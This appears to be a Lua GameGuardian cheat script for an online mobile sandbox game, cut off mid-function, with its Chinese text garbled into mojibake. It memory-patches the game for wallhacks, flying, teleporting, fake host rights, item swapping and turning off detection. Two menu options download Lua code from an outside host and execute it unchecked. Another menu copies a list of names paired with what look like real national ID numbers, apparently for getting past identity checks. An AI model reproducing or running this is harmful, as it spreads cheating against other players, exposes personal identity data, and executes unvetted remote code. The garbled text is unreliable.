	 gg.setRanges(262207)
	 gg.searchNumber("7E;4634626229029306368Q", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("7", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(1500)
	 sl=gg.getResultCount()
	 if sl>1500 then sl=1500 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DOUBLE,freeze = true,value = 25}})
	 end
	 gg.toast("ä¿®æ”¹æˆ�åŠŸ")
	 gg.clearResults()
end



function X2()
vip= gg.prompt({"è¾“å…¥ä½ æ‹¥æœ‰çš„ä¸€ä¸ªçš®è‚¤å�·ï¼š1èƒ–è¾¾     2é½�å¤©å°�åœ£     3å…”ç¾�ç¾�     4è¿·æ–¯æ‹‰     5ç�‰ç’ƒå¥–     6ä¹”æ²»     7å¢¨å®¶å°�é£�     8å®‰å¦®     9å¾·å�¤æ‹‰     10å�®å�®å½“     11è�’é‡�çŒ�äºº     12ç¾½å§¬     13æ…•å®¹å•¸å¤©     14ä¹”ä¸€     15ç¯®ç�ƒé˜Ÿé•¿     16å•¦å•¦é˜Ÿé•¿     17éœ²è¥¿     18é»‘å¸½å­�èˆ¹é•¿     19ç”œå¿ƒç�›ä¸½     20é”¦è¡£å�«     21èŠ±å°�æ¥¼     22è�‰è�‰ä¸�     23æœˆæ— å�Œ     24å�¶å°�é¾™     25äºŒç‹¼ç¥�     26é±¼å°�ä¹�     27è¿·ä¿Šä¿Š     28å¹»éŸ³     29å¹»0å¼�     30æŸ³ä»™å„¿     31å¸•æ™®å¥‡     32ç±³å¨œ     33é›ªäºº     34å˜Ÿå˜Ÿå•µå•µ     35å•µå•µ     36å˜Ÿå˜Ÿ     37æ¢¦æ­Œ     38æ–©æµª     39å¤©ä½¿     40æš—ç�µ     50ä¹”å…‹     51å°�è‰¾     52ç§¦å¤©æŸ±     53å¨�éœ‡å¤©     54æ…•æ–¯     55é‡‘æ‚ æ‚      56å–œå›¢å›¢     57æ�—å�ƒæ ‘     58å¤§é»„èœ‚     59èŠ±å¹½å¹½     60æ˜Ÿç�µ     61é›ªç�ƒç�ƒ     62çˆ±ä¸½ä¸�     63é¾Ÿå¤ªéƒ�     64çº¢èœ˜è››     65çƒ­ç ´     66æƒŠç ´å¤©     67åŠ³å°”     68é“ƒéŸ³     69æ¸…å¼¦     70ç´«æ‚¦     71å®‡å®™å…¬ä¸»     72æŸ”æŸ”å¥³å­©     73æœˆäº®å…¬ä¸»     74é’¢ç´¢     75é£�é•–     76åš�å�«     77è¾¾å¥‡     78å¡”ç�³å¨œ     79æ£®æ�—éš�è€…     80å…”å­�æ‹‰æ¯”     81ç¢§ç�ª     82å�¡æ´›å°”     83ä½™å°�ç�¯     84ç« å°�ä¸¸     85ç†Šå°�å�‰     86æ˜Ÿå…‰ç† ç†      87äº‘å®�     88éŸ³éŸµå…¬ä¸» 89åˆ�æ…•     90å†²äº‘éœ„     96å¤§æ— ç•�     91åˆ©çˆª     102åœ£å©´     103ç‰›é­”ç�‹     104ç�µç‘¶     105å°�çº¢å¸½     106è¿·å°�é…·     107ç‹¼å°‘å¹´     108å¤©ä»™å­�é›…     109å¤©ä»™å­�é¢‚     110çº¢ç�«ç‘°å°‘å¥³     111æ©˜å­�     112ç»£ç�ƒèŠ±å°‘å¹´æŸ¥æ��æ–¯     113æ³¡æ³¡     114æœ�éœ²ç¹�èŠ±     115å†°å…¬ä¸»     116çº¢æ¡ƒ     117ç™½å…‰è�¹     118ç�°å§‘å¨˜å…‹é‡Œæ–¯ä¸�     119ç�µå…¬ä¸»     120å°�é¾™äººéº’ä¼‘     121å¦™å¦™     122ç™½å¤©é¹…     123æ—¶ç¨€      124æ´�è�‰      125å¿«å®¢å°�çª�     140ç§‹æ�œ     146ç’�è�½     147é›·å…‰    148å‡›å†¬"}
,{[1]=148},{[1]="number"})[1]
qmnb = {
{["memory"] = 4},
{["name"] = "å��ä¸½å�˜èº«"},
{["value"] = 808465457, ["type"] = 4},
{["lv"] = 2, ["offset"] = 216, ["type"] = 4},
{["lv"] = 0, ["offset"] = -20, ["type"] = 4},
{["lv"] = 0, ["offset"] = -24, ["type"] = 4},
{["lv"] = 0, ["offset"] = -28, ["type"] = 4}}
qmxg = {
{["value"] = vip, ["offset"] = -84, ["type"] = 4},}
xqmnb(qmnb)
end



function XCA16()
F = gg.alert("æ— é™�ç‰©å“�","å¼€","ï¸�å…³ï¸�ï¸�")
 if  F~=1 and F~=2 then
 gg.toast("ä½ æœªé€‰æ‹©å¼€å…³é»˜è®¤å�–æ¶ˆ")
    gg.toast("ä½ æœªé€‰æ‹©å¼€å…³")
  else 
  end
if  F== 1 then
qmnb = {
{["memory"] = 4},
{["name"] = "æ— é™�ç‰©å“�[å¼€]"},
{["value"] = 4294967296000, ["type"] = 32},
{["lv"] = 1000, ["offset"] = 4, ["type"] = 4},
{["lv"] = 1, ["offset"] = -36, ["type"] = 4},
{["lv"] = 1, ["offset"] = 148, ["type"] = 32},
{["lv"] = 1001, ["offset"] = 260, ["type"] = 4}}
qmxg = {
{["value"]= 945804388,["offset"]= 8,["type"]= 4,["freeze"] = true}}
xqmnb(qmnb)
gg.clearResults()
elseif  F== 2 then
qmnb = {
{["memory"] = 4},
{["name"] = "æ— é™�ç‰©å“�[å…³]"},
{["value"] = 4294967296000, ["type"] = 32},
{["lv"] = 1000, ["offset"] = 4, ["type"] = 4},
{["lv"] = 1, ["offset"] = -36, ["type"] = 4},
{["lv"] = 1, ["offset"] = 148, ["type"] = 32},
{["lv"] = 1001, ["offset"] = 260, ["type"] = 4}}
qmxg = {
{["value"]= 945804640,["offset"]= 8,["type"]= 4,["freeze"] = false}}
xqmnb(qmnb)
gg.clearResults()
end
end
function XCA17()
local a=gg.prompt({'è¾“å…¥1ï½�40äººæˆ¿é—´äººæ•°,å¼€å�¯æ­¤åŠŸèƒ½å��ç‚¹å‡»å¼€6äººæˆ¿é—´'},{'22'},{'number'})
if not a then return end
if a then
so({'å¤§æˆ¿é—´',1078198272,4,4},{{1077805056,-0x10},{1077149696,-0x20},{1076101120,-0x30},{1075052544,-0x50}},{{a[1],-0x44,64}})
end
end

function XCA18()
local a = gg.prompt({'è¯·è¾“å…¥å® ç‰©ä»£ç �10001-å°�æ³¡æ²«.10002-æ³¡æ³¡å›¢å­�.10003-å››æ³¡å›¢.10004-å°�å­©å­�.10005-çš„å�¶å›¢å­�.10006-è±ªå��å›¢.10007-å°�çŸ³å­�.10008-å²©çŸ³å›¢.10009-å·¨å²©å›¢.10010-å°�ç�«é‡�.10011-æš–æš–å›¢.10012-æŠ¥ç�«å›¢.10013-å°�HT.10014-è·³è·³è›™.10015-å¿�å¿�å¨ƒ.10016-å°�å…�æœº.10017-å…�å�«.10018-ç�‰å…�æœº.10019-è¿·ä½ æ³¨.10020-æ—ºæ—º.10021-æ—ºæ—ºè­¦é•¿.10022-å°�é¾™è›‹10023-é»‘é¾™é‡�10024-é»‘é¾™ç³•10025-å°�è�²é¹�.10026-ç�ƒç³Ÿé¹�10027-å…¨ç¾½é¹…ç½‘.10028-å°�ç�µç�ƒ.10029-å¹½é…¬ç�ƒ.10030-é‡�ç�µç�‹ç�ƒ.10031-å°�é»‘çŒ«.10032-ç„¦ç‚­çŒ«.10033-é»‘é£˜è¿œ.10034-å°�ç�ƒèŠ‚.10035-ç�ƒç�ƒè±¹.10036-ç�ƒè±¹ç�‹å­�.10037-å°�æ“¦æŠ¥.10038-å¥�ä¹�çŒ´.10039-æ¢µéŸ³çŒ´.10040-å°�å­”é›€.10041-é›�å­”é›€.10042-ä¸°ç¾½å­”é›€ è™šç©ºå¹»å¢ƒ-çŒ›3516 è™šç©ºå¹»å¢ƒ-é€Ÿ3515 è¿œå�¤å�®å�®-3511 æˆ¿ä¸»é—ªé€€-3513  çˆ†çˆ†è›‹-3109  æ�¢å¤�-10001'},{[1]=3512},{[1]='number'})[1]
so({'ä¿®æ”¹å® ç‰©',10001,4,4},{{1,4,4}},{{a,8,4}})
end



function XCA19()
F = gg.alert("ğŸ”°è¯·é€‰æ‹©ï½›å¼€ å…³ï½�ğŸ”°","ğŸ��å¼€ğŸ��","ğŸ��ï¸�å…³ğŸ��ï¸�ï¸�")
 if  F~=1 and F~=2 then
 gg.toast("ä½ æœªé€‰æ‹©å¼€å…³é»˜è®¤å�–æ¶ˆ")
    gg.toast("ğŸ“Œä½ æœªé€‰æ‹©ï½›å¼€ å…³ï½�")
  else 
  end
if  F== 1 then
gg.setRanges(4)
local dataType = 4
local tb1 = {{220, 0}, {120, -4}, {60, -16}, {120, 4},}
local tb2 = {{-9999, -12,true}, }
SearchWrite(tb1, tb2,  dataType)
 elseif  F== 2 then
gg.setRanges(4)
local dataType = 4
local tb1 = {{220, 0}, {120, -4}, {60, -16}, {120, 4},}
local tb2 = {{180, -12,true}, }
SearchWrite(tb1, tb2,  dataType)
end end



function Main2()  
SN = gg.multiChoice({
"à¼ºà½Œà¼€â›¦à¿ˆé€�è§†à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆä¼ªæˆ¿ä¸»à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆæŸ¥çœ‹èº«ä»½è¯�à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆè¿�è·³é£�å¤©à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆå�¸äººà¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆå��æ ‡ä¼ é€�à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆæŸ¥è¯¢æ‰‹æŒ�ç‰©å“�ä»£ç �à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆå–·æ¼†æ”¹ç‰©å“�à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆä¿®æ”¹é€Ÿåº¦à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆä¿®æ”¹è·³è·ƒå€�æ•°à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆå¹³é£�æ— æ£€æµ‹à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆç¼–è¾‘å™¨æ”¾ç½®è·�ç¦»à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆé‡‘ç¨¿ç§’è“„à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆæŸ¥è¯¢ä»£ç �à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆä¹�è°±å�–ç‰©1à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆä¹�è°±å�–ç‰©2à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆä¹¦å�°å�–ç‰©à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆå¥”è·‘é€Ÿåº¦à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆè¿·ä½ å�·å¯¹æ�¥à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆæ”¹è¿·ä½ å�·à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆè�”æœºæ”¹çš®è‚¤à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆè¿”å›�ä¸»é¡µà¿ˆâ›¦à¼€à½‘à¼»",
 }, nil, "à¼ºà½Œà¼€â›¦à¿ˆæˆ‘ä»¬ä¸€è·¯å¥‹æˆ˜ï¼Œä¸�æ˜¯ä¸ºäº†æ”¹å�˜ä¸–ç•Œï¼Œè€Œæ˜¯ä¸ºäº†ä¸�è®©ä¸–ç•Œæ”¹å�˜æˆ‘ä»¬à¿ˆâ›¦à¼€à½‘à¼»ï¸�ï¸�ï¸�")
if SN == nil then else
if SN[1]==true then     XCB1() end
if SN[2]==true then     XCB2() end
if SN[3]==true then     XCB3() end
if SN[4]==true then     XCB4() end
if SN[5]==true then     XCB5() end
if SN[6]==true then     XCB6() end
if SN[7]==true then     XCB7() end
if SN[8]==true then     XCB8() end
if SN[9]==true then     XCB9() end
if SN[10]==true then     XCB10() end
if SN[11]==true then     XCB11() end
if SN[12]==true then     XCB12() end
if SN[13]==true then     XCB13() end
if SN[14]==true then     XCB14() end
if SN[15]==true then     XCB15() end
if SN[16]==true then     XCB16() end
if SN[17]==true then     XCB17() end
if SN[18]==true then     XCB18() end
if SN[19]==true then     XCB19() end
if SN[20]==true then     XCB20() end
if SN[21]==true then     XCB21() end
if SN[22]==true then     Main() end
end
FX1=0 end






function XCB1()  
qmnb = {
{["memory"] = 4},
{["name"] = "é€�è§†"},
{["value"] = 1189765120, ["type"] = 4},
{["lv"] = 1065353216, ["offset"] = -28, ["type"] = 4},
{["lv"] = 10.0, ["offset"] = -4, ["type"] = 16},

}
qmxg = {
{["value"] = 99999, ["offset"] = 0, ["type"] = 4},
}
xqmnb(qmnb)
qmnb = {
{["memory"] = 16384},
{["name"] = "é€�è§†"},
{["value"] =4546930, ["type"] = 32},
{["lv"] =512, ["offset"] = 12, ["type"] = 4},
}
qmxg = {
{["value"]=-0.1,["offset"]=56,["type"]=16},
}
xqmnb(qmnb)
end


function XCB2()  
F=gg.alert("è¯·é€‰æ‹©ï½›å¼€ å…³ï½�", "å¼€", "ï¸�å…³ï¸�ï¸�")
if F ~= 1 and F ~= 2 then
gg.toast("ä½ æœªé€‰æ‹©å¼€å…³é»˜è®¤å�–æ¶ˆ")
gg.toast("ä½ æœªé€‰æ‹©ï½›å¼€ å…³ï½�")
else
end
if F==1 then
qmnb = {
{["memory"] = 4},
{["name"] = "ä¼ªæˆ¿ä¸»"},
{["value"] = 11014, ["type"] = 4},
{["lv"] = 11522, ["offset"] = -4, ["type"] = 4},}
qmxg = {
{["value"] = 3, ["offset"] = 32,  ["type"] = 4, ["freeze"] = true},
}
xqmnb(qmnb)
elseif F==2 then
qmnb = {
{["memory"] = 4},
{["name"] = "ä¼ªæˆ¿ä¸»"},
{["value"] = 11014, ["type"] = 4},
{["lv"] = 11522, ["offset"] = -4, ["type"] = 4},}
qmxg = {
{["value"] = 99, ["offset"] = 32,  ["type"] = 4, ["freeze"] = true},
}
xqmnb(qmnb)
end
end



function XCB3()
  SJ = os.date("ğŸ”°èº«ä»½è¯�è´¦å�·å�ˆé›†ğŸ”°")
  SN = gg.choice({
    "ğŸŒ™ç‚¹å‡»æ­¤å¤„å¼€å�¯å¤�åˆ¶èº«ä»½è¯�ğŸŒ™",
      }, nil, "ï¸�âš ï¸�è¯·å‹¿ç”¨äº�é��æ³•ç”¨é€”âš ï¸�ï¸�ï¸�ï¸�")
  if SN==1 then
    Main1100()
  end
  FX1=0
end

function Main1100()
  SN = gg.choice({
    "âš¡ï¸�å†·å�¥å®‰:432321197907070093âš¡ï¸�",
    "ğŸ”®ä¸€é”®å¤�åˆ¶ğŸ”®",
    "â™¦ï¸�ä¸‹ä¸€å±‚â™¦",
  }, nil, "âš ï¸�è¯·å‹¿ç”¨äº�é��æ³•ç”¨é€”âš ï¸�ï¸�")
  if SN==2 then
    GSM1()
  end
  if SN==3 then
    Main1101()
  end
  FX1=0
end

function GSM1()
  gg.copyText("å†·å�¥å®‰:432321197907070093")
end

function Main1101()
  SN = gg.choice({
    "âš¡ï¸�å¼ å®¶æ·¼:320825197010082335âš¡ï¸�",
    "ğŸ”®ä¸€é”®å¤�åˆ¶ğŸ”®",
    "â™¦ï¸�ä¸‹ä¸€å±‚â™¦ï¸�ï¸�ï¸�",
  }, nil, "ï¸�âš ï¸�è¯·å‹¿ç”¨äº�é��æ³•ç”¨é€”âš ï¸�ï¸�")
  if SN==2 then
    GSM2()
  end
  if SN==3 then
    Main1102()
  end
  FX1=0
end

function GSM2()
  gg.copyText("å¼ å®¶æ·¼:320825197010082335")
end

function Main1101()
  SN = gg.choice({
    "âš¡ï¸�åˆ˜æ–‡ç‡•:130533198902182342âš¡ï¸�",
    "ğŸ”®ä¸€é”®å¤�åˆ¶ğŸ”®",
    "â™¦ï¸�ä¸‹ä¸€å±‚â™¦",
  }, nil, "ï¸�âš ï¸�è¯·å‹¿ç”¨äº�é��æ³•ç”¨é€”âš ï¸�ï¸�")
  if SN==2 then
    GSM2()
  end
  if SN==3 then
    Main1102()
  end
  FX1=0
end


function GSM2()
  gg.copyText("åˆ˜æ–‡ç‡•:130533198902182342")
end

function Main1102()
  SN = gg.choice({
    "ï¸�âš¡ï¸�æ��æ™¶ç…œ:320684198410035179âš¡ï¸�",
    "ğŸ”®ä¸€é”®å¤�åˆ¶ğŸ”®",
    "â™¦ï¸�ä¸‹ä¸€å±‚â™¦",
  }, nil, "ï¸�âš ï¸�è¯·å‹¿ç”¨äº�é��æ³•ç”¨é€”âš ï¸�ï¸�ï¸�")
  if SN==2 then
    GSM3()
  end
  if SN==3 then
    Main1103()
  end
  FX1=0
end

function GSM3()
  gg.copyText("æ��æ™¶ç…œ:320684198410035179")
end

function Main1103()
  SN = gg.choice({
    "âš¡ï¸�éƒ­æ³½è¾‰:412723199704214675âš¡ï¸�",
    "ğŸ”®ä¸€é”®å¤�åˆ¶ğŸ”®",
    "â™¦ï¸�ä¸‹ä¸€å±‚â™¦",
  }, nil, "ï¸�âš ï¸�è¯·å‹¿ç”¨äº�é��æ³•ç”¨é€”âš ï¸�ï¸�")
  if SN==2 then
    GSM4()
  end
  if SN==3 then
    Main1104()
  end
  FX1=0
end

function GSM4()
  gg.copyText("éƒ­æ³½è¾‰:412723199704214675")
end

function Main1104()
  SN = gg.choice({
    "âš¡ï¸�å­™å®ˆå³°:640321198301102419âš¡ï¸�",
    "ğŸ”®ä¸€é”®å¤�åˆ¶ğŸ”®",
    "â™¦ï¸�ä¸‹ä¸€å±‚â™¦",
  }, nil, "ï¸�âš ï¸�è¯·å‹¿ç”¨äº�é��æ³•ç”¨é€”âš ï¸�ï¸�")
  if SN==2 then
    GSM5()
  end
  if SN==3 then
    Main1105()
  end
  FX1=0
end

function GSM5()
  gg.copyText("å­™å®ˆå³°:640321198301102419")
end

function Main1105()
  SN = gg.choice({
    "ï¸�âš¡ï¸�é™ˆå��å†œ:320219197804212779âš¡ï¸�",
    "ğŸ”®ä¸€é”®å¤�åˆ¶ğŸ”®",
    "â™¦ï¸�ä¸‹ä¸€å±‚â™¦",
  }, nil, "ï¸�âš ï¸�è¯·å‹¿ç”¨äº�é��æ³•ç”¨é€”âš ï¸�ï¸�ï¸�")
  if SN==2 then
    GSM6()
  end
  if SN==3 then
    Main1106()
  end
  FX1=0
end

function GSM6()
  gg.copyText("é™ˆå��å†œ:320219197804212779")
end


function Main1106()
  SN = gg.choice({
    "âš¡ï¸�èµµè‰¯æ�¾:120110197705191511âš¡ï¸�",
    "ğŸ”®ä¸€é”®å¤�åˆ¶ğŸ”®",
    "â™¦ï¸�ä¸‹ä¸€å±‚â™¦",
  }, nil, "ï¸�âš ï¸�è¯·å‹¿ç”¨äº�é��æ³•ç”¨é€”âš ï¸�ï¸�")
  if SN==2 then
    GSM7()
  end
  if SN==3 then
    Main1107()
  end
  FX1=0
end

function GSM7()
  gg.copyText("èµµè‰¯æ�¾:120110197705191511")
end


function Main1107()
  SN = gg.choice({
    "âš¡ï¸�å¾�é�™ä½³:310229198302260020âš¡ï¸�",
    "ğŸ”®ä¸€é”®å¤�åˆ¶ğŸ”®",
    "â™¦ï¸�ä¸‹ä¸€å±‚â™¦ï¸�ï¸�",
  }, nil, "ï¸�âš ï¸�è¯·å‹¿ç”¨äº�é��æ³•ç”¨é€”ï¸�âš ï¸�ï¸�")
  if SN==2 then
    GSM8()
  end
  if SN==3 then
    Main1108()
  end
  FX1=0
end

function GSM8()
  gg.copyText("å¾�é�™ä½³:310229198302260020")
end

function Main1108()
  SN = gg.choice({
    "âš¡ï¸�è¿Ÿå½­æŸ³:210105194606074616âš¡ï¸�",
    "ğŸ”®ä¸€é”®å¤�åˆ¶ğŸ”®",
    "â™¦ï¸�ä¸‹ä¸€å±‚â™¦ï¸�ï¸�ï¸�",
  }, nil, "ï¸�âš ï¸�è¯·å‹¿ç”¨äº�é��æ³•ç”¨é€”âš ï¸�ï¸�")
  if SN==2 then
    GSM9()
  end
  if SN==3 then
    Main1109()
  end
  FX1=0
end

function GSM9()
  gg.copyText("è¿Ÿå½­æŸ³----210105194606074616")
end



function Main1109()
  SN = gg.choice({
    "âš¡ï¸�åˆ˜è�Œè�Œ:210212198506035924âš¡ï¸�",
    "ğŸ”®ä¸€é”®å¤�åˆ¶ğŸ”®",
    "â™¦ï¸�ä¸‹ä¸€å±‚â™¦",
  }, nil, "ï¸�âš ï¸�è¯·å‹¿ç”¨äº�é��æ³•ç”¨é€”âš ï¸�ï¸�")
  if SN==2 then
    GSM10()
  end
  if SN==3 then
    Main11010()
  end
  FX1=0
end

function GSM10()
  gg.copyText("åˆ˜è�Œè�Œ----210212198506035924")
end



function Main11010()
  SN = gg.choice({
    "âš¡ï¸�å­Ÿæ°‘ç¤¾:610424196903160835âš¡ï¸�",
    "ğŸ”®ä¸€é”®å¤�åˆ¶ğŸ”®",
    "â™¦ï¸�ä¸‹ä¸€å±‚â™¦",
  }, nil, "ï¸�âš ï¸�è¯·å‹¿ç”¨äº�é��æ³•ç”¨é€”âš ï¸�ï¸�")
  if SN==2 then
    GSM11()
  end
  if SN==3 then
    Main11011()
  end
  FX1=0
end

function GSM11()
  gg.copyText("å­Ÿæ°‘ç¤¾----610424196903160835")
end



function Main11011()
  SN = gg.choice({
    "âš¡è�«é›¨ä¿�:460022199203270022âš¡ï¸�",
    "ğŸ”®ä¸€é”®å¤�åˆ¶ğŸ”®",
    "ğŸ�¡è¿” å›� é¦– é¡µğŸ�¡",
  }, nil, "ï¸�âš ï¸�è¯·å‹¿ç”¨äº�é��æ³•ç”¨é€”âš ï¸�")
  if SN==2 then
    GSM12()
  end
  if SN==3 then
    Main()
  end
  FX1=0
end

function GSM12()
  gg.copyText("è�«é›¨ä¿�----460022199203270022")
end



function XCB4()
local t = {"libAppPlayJNI.so:bss", "Cb"}
local tt = {0x62C620, 0x5A8, 0x1C}
local ttt = S_Pointer(t, tt, true)
gg.addListItems({{address = ttt, flags = 4, value = -1, freeze = true}})
gg.toast("è¿�è·³é£�å¤©å¼€å�¯æˆ�åŠŸ")
end



function XCB5()  
qmnb = {
{["memory"] = 4},
{["name"] = "å�¸äºº"},
{["value"] = 220, ["type"] = 4},
{["lv"] = 60, ["offset"] = -16, ["type"] = 4},
{["lv"] = 180, ["offset"] = -12, ["type"] = 4},
{["lv"] = 120, ["offset"] = -4, ["type"] = 4},
{["lv"] = 120, ["offset"] = 4, ["type"] = 4},
}
qmxg = {
{["value"] = 0, ["offset"] = 8, ["type"] = 4, ["freeze"] = true},
{["value"] = 0, ["offset"] = 16, ["type"] = 4, ["freeze"] = true},

}
xqmnb(qmnb)
gg.clearResults()
end



function XCB6()  
local a=gg.prompt({'Yè½´(ç«–)ï¸�','Xè½´(æ¨ª)','é«˜åº¦'})
  if not a then gg.alert('è¯·å…¨éƒ¨å¡«å†™',false)
    return nil
  end
  if a[1]~='' and a[2]~='' then if a[3]~='' then
      a[1] = a[1]..'00'
      a[2] = a[2]..'00'
      a[3] = a[3]..'00'
so({'ä¼ é€�',944892805240,4,32},{{220,4,4},{180,-8,4}},{{a[1],12,4},{a[2],20,4},{a[3],16,4}})
    end
  end
end



function XCB7()  
  gg.setRanges(4)
  local dataType = 4
  local tb1 = {{1117126656, 0},{256, -0x24},{65793, -0x6C},}
  local tb2 = {{ -0x74 }, }
  SearchWrite(tb1, tb2, dataType)
  sln=gg.getResultCount()
  if sln<1 then return end 
  local nmb=gg.getResults(1)
  sl=gg.getValues(nmb)
  nnb=sl[1].value
if nnb=="0" then  return end
gg.alert("ğŸ”°æ£€æµ‹æ‰‹æŒ�ä»£ç �ä¸º:"..nnb,"ğŸ”°å¤�åˆ¶ğŸ”°")
gg.copyText(nnb)
end


function XCB8()  
a = gg.prompt({'è¾“å…¥é�“å…·ä»£ç �ï¼Œ12239æ�¢å¤�'}
,{[1]=11907},{[1]='number'})[1]
if not a then return end
so({'å–·æ¼†ç½�æ”¹ç‰©å“�',12240,4,4},{{200,0x228,4},{2,8,4}},{{a,-0x400,4,1}})
end


function XCB9()
pcall(load(gg.makeRequest("http://chuxinya.top/down.php/9a55cdefacff70cbd9cac5e631ef8969.lua").content))
end



function XCB10()  
gg.clearResults()
gg.setRanges(gg.REGION_C_ALLOC)
gg.searchNumber("-1;10;-1;945804460D", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1)
gg.searchNumber("-1", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1)
gg.getResults(20)
gg.getResults(100)
v = gg.prompt({i='è¾“å…¥è·³è·ƒå€�æ•°'}, {i='150'})
gg.editAll(v['i'], 16)
gg.toast("é«˜è·³å¼€å�¯æˆ�åŠŸ\nå…±è€—æ—¶:"..os.clock()-time.."ç§’")
end



function XCB11()  
F = gg.alert("é€‰æ‹©å¼€å…³","å¼€","å…³")
if  F== 1 then
qmnb = {
{["memory"] = 4},
{["name"] = "å¹³é£�æ— æ£€"},
{["value"] = 515396075740, ["type"] = 32},
{["lv"] = 60, ["offset"] = -16, ["type"] = 4},
{["lv"] = 180, ["offset"] = -12, ["type"] = 4},
{["lv"] = 120, ["offset"] = -4, ["type"] = 4},
}
qmxg = {
{["value"] = 1, ["offset"] = 64, ["type"] = 4, ["freeze"] = true},
}
xqmnb(qmnb)
elseif F == 2 then
qmnb = {
{["memory"] = 4},
{["name"] = ""},
{["value"] = 515396075740, ["type"] = 32},
{["lv"] = 60, ["offset"] = -16, ["type"] = 4},
{["lv"] = 180, ["offset"] = -12, ["type"] = 4},
{["lv"] = 120, ["offset"] = -4, ["type"] = 4},

}
qmxg = {
{["value"] = 1, ["offset"] = 64, ["type"] = 4, ["freeze"] = false},
}
xqmnb(qmnb)
end end



function XCB12()
a = gg.prompt({'è¾“å…¥ç¼–è¾‘å™¨æ”¾ç½®è·�ç¦»'}
,{[1]=100},{[1]='number'})[1]
if not a then return end
local t = {'libAppPlayJNI.so', 'Cd'}
local tt = {0x6E5D0, 0x10, 0x84}
local ttt = S_Pointer(t, tt, true)
gg.addListItems({{address = ttt, flags = 4, value = a, freeze = true}})
end



function XCB13()
so({('é‡‘ç¨¿ç§’è“„'),1060320051,4,4},{{65538,-4,4}},{{0.1,0xC,16}})
gg.toast("é‡‘ç¨¿ç§’è“„åŠ›å¼€å�¯æˆ�åŠŸ")
end



function XCB14()
pcall(load(gg.makeRequest("http://chuxinya.top/down.php/ab3503cc6584193e3dcc414b2bb178ac.").content))
end



function XCB15()
SN = gg.multiChoice({
"à¼ºà½Œà¼€â›¦à¿ˆå–·æ¼†æ”¹ä¹�å™¨â›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆä¿®æ”¹ä¹�è°±â›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆè¿”å›�ä¸»é¡µâ›¦à¼€à½‘à¼»",
 }, nil, "à¼ºà½Œà¼€â›¦à¿ˆå¸Œæœ›ä½ å’Œæˆ‘è‡ªç”±å�ˆç�¿çƒ‚ï¼Œå¿˜æ�‰æ‚²å“€çš„è¿‡å�»â›¦à¼€à½‘à¼»")
if SN == nil then else
if SN[1]==true then     QP1() end
if SN[2]==true then     QP2() end
if SN[3]==true then     Main() end
end
FX=0 end

function QP1()
  gg.clearResults()
  gg.setRanges(4)
  gg.searchNumber("12239", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
  gg.getResults(100)
  gg.editAll("11907", gg.TYPE_DWORD)
  gg.toast("å–·æ¼†æ”¹ä¹�å™¨ä¿®æ”¹æˆ�åŠŸ")
  gg.clearResults()
end



function QP2()
lgnb=gg.prompt({"ç¼–ä¹¦å�°:1143\nåœ°å½¢ç¼–è¾‘å™¨:10500\né»‘é¾™ç�«ç�ƒ:15056\nç ´å��æ–¹å�—:11551\nåˆ·æ€ªæ–¹å�—:1080\næ˜Ÿèƒ½å�—:415\næ¶²æ€�æ°´:4"},{'15056'},{"number"})[1]
qmnb = {
{["memory"] = 4},
{["name"] = "ä¿®æ”¹ä¹�è°±"},
{["value"] = 4683671800612126720, ["type"] = 32},
{["lv"] = 13975404208, ["offset"] = 4, ["type"] = 32},
}
qmxg = {
{["value"] = lgnb, ["offset"] = -0x10, ["type"] = 64, ["freeze"] = true},
}
xqmnb(qmnb)
end



function XCB16()
